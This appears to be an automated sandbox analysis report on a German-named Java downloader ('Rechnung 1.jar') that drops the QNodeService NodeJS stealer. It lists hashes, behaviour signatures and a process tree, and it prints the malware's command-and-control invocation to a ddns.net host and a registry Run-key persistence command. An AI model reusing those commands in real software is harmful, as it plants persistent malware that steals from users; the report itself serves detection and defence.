Analysis

  • max time kernel
    145s
  • max time network
    152s
  • platform
    windows10_x64
  • resource
    win10v20201028
  • submitted
    10-11-2020 22:17

General

  • Target

    Rechnung 1.jar

  • Size

    106KB

  • MD5

    126760476a6daefa180ec5d62e4d8384

  • SHA1

    a9c1761c7eea022303918e4a97d6ee20481a0e7e

  • SHA256

    9c4265f1cbaa388bb7e281633c441a52b63b4f8462182a85beebc4e148a152a6

  • SHA512

    cd8c71196f2f7c07003972cd970bc0121eb7129a3abc082571371d72eb397f70424fac760a4fa8451104b4d1ecf92e9ee73895e48e6311e68c02e06a47df13f2

Malware Config

Signatures

  • QNodeService

    Trojan/stealer written in NodeJS and spread via Java downloader.

  • Executes dropped EXE 3 IoCs
  • Adds Run key to start application 2 TTPs 2 IoCs
  • JavaScript code in executable 3 IoCs
  • Looks up external IP address via web service 2 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Checks processor information in registry 2 TTPs 6 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Suspicious behavior: EnumeratesProcesses 18 IoCs
  • Suspicious use of WriteProcessMemory 12 IoCs

Processes

  • C:\ProgramData\Oracle\Java\javapath\java.exe
    java -jar "C:\Users\Admin\AppData\Local\Temp\Rechnung 1.jar"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:4688
    • C:\Program Files\Java\jre1.8.0_66\bin\javaw.exe
      "C:\Program Files\Java\jre1.8.0_66\bin\javaw.exe" -jar C:\Users\Admin\AppData\Local\Temp\7c1cf01a.tmp
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:892
      • C:\Users\Admin\node-v14.12.0-win-x64\node.exe
        C:\Users\Admin\node-v14.12.0-win-x64\node.exe - --hub-domain september101991.ddns.net
        3⤵
        • Executes dropped EXE
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of WriteProcessMemory
        PID:4592
        • C:\Users\Admin\node-v14.12.0-win-x64\node.exe
          C:\Users\Admin\node-v14.12.0-win-x64\node.exe C:\Users\Admin\AppData\Local\Temp\_qhub_node_BOn32V\boot.js --hub-domain september101991.ddns.net
          4⤵
          • Executes dropped EXE
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of WriteProcessMemory
          PID:200
          • C:\Users\Admin\node-v14.12.0-win-x64\node.exe
            C:\Users\Admin\node-v14.12.0-win-x64\node.exe C:\Users\Admin\AppData\Local\Temp\_qhub_node_BOn32V\boot.js --hub-domain september101991.ddns.net
            5⤵
            • Executes dropped EXE
            • Checks processor information in registry
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of WriteProcessMemory
            PID:2932
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /d /s /c "REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "af678428-a5f6-4a94-ac8e-676c9e9ffd5c" /t REG_SZ /F /D "cmd /D /C \"C:\Users\Admin\qhub\node\2.0.10\boot.vbs\"""
              6⤵
              • Suspicious use of WriteProcessMemory
              PID:4604
              • C:\Windows\system32\reg.exe
                REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "af678428-a5f6-4a94-ac8e-676c9e9ffd5c" /t REG_SZ /F /D "cmd /D /C \"C:\Users\Admin\qhub\node\2.0.10\boot.vbs\""
                7⤵
                • Adds Run key to start application
                PID:2056

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

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Downloads

  • memory/200-176-0x000001E99D7C0000-0x000001E99D7C1000-memory.dmp

    Filesize

    4KB

  • memory/2932-180-0x0000014B5D8C0000-0x0000014B5D8C1000-memory.dmp

    Filesize

    4KB

  • memory/4592-173-0x000000AB0E280000-0x000000AB0E281000-memory.dmp

    Filesize

    4KB